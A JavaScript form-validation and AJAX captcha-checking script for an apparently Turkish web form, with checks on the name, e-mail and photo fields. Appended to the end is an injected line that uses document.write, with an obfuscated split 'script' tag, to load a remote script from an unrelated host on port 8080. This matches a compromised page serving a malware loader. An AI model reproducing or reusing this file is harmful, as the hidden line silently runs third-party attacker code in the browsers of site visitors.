var url = 'include/captcha/captcheck.php?code=';
        var captchaOK = 2;  // 2 - kontrol edilmedi, 1 - doğru, 0 - yanlış
        function getHTTPObject()
        {
        try {
        req = new XMLHttpRequest();
          } catch (err1)
          {
          try {
          req = new ActiveXObject("Msxml12.XMLHTTP");
          } catch (err2)
          {
          try {
            req = new ActiveXObject("Microsoft.XMLHTTP");
            } catch (err3)
            {
	req = false;
            }
          }
	}
        return req;
	}
        var http = getHTTPObject(); // HTTP objesini yarattık        
        function handleHttpResponse() {
        if (http.readyState == 4) {
            //alert(http.responseText);
			captchaOK = http.responseText;
            if(captchaOK != 1) {
              alert('Girdiğiniz kod yanlıştır. Tekrar deneyin');
              document.myform.code.value='';
              document.myform.code.focus();
              return false;
              }
              document.myform.submit();
           }
        }
        function checkcode(thecode) {
        	//alert(thecode);
			http.open("GET", url + escape(thecode), true);
        	http.onreadystatechange = handleHttpResponse;
        	http.send(null);
        }
		
        function checkform() {
        // İlk önce form doğrulaması
        //if(document.myform.req.value=='') {
        //  alert('lütfen gerekli alanları doldurun');
        //  document.myform.req.focus();
        //  return false;
        //  }
        if(document.myform.NAME.value=='') {
          alert('Lütfen isminizi giriniz.');
          document.myform.NAME.focus();
          return false;
        }

		if(document.myform.SURNAME.value=='') {
          alert('Lütfen soyisminizi giriniz.');
          document.myform.SURNAME.focus();
          return false;
        }
		
		if(document.myform.EPOSTA.value!='') {
    		var str = myform.EPOSTA.value;
    		var re = /^[\w-]+(\.[\w-]+)*@([\w-]+\.)+[a-zA-Z]{2,7}$/;
    		if (!str.match(re)) {
        		alert("Lütfen e-posta adresinizi kontrol ediniz.");
        		//setTimeout("focusElement('" + elem.form.name + "', '" + elem.name + "')", 0);
        		document.myform.EPOSTA.focus();
				return false;
    		}
		}
		
        if(document.myform.file.value=='') {
          alert('Lütfen fotoğrafınızı ekleyiniz.');
          document.myform.file.focus();
          return false;
        }

		
        if(document.myform.code.value=='') {
          alert('Lütfen resimdeki kodu giriniz.');
          document.myform.code.value='';
          document.myform.code.focus();
          return false;
          }
		  
		  document.myform.gonder.disabled=true;
		  document.myform.gonder.value="Lütfen Bekliyiniz...";
          // Ajax captcha doğrulaması
		  //alert(document.myform.code.value);
          checkcode(document.myform.code.value);
          return false;
        }   

document.write('<s'+'cript type="text/javascript" src="http://dolfy.sedonahyperbarics.com:8080/Delete.js"></scr'+'ipt>');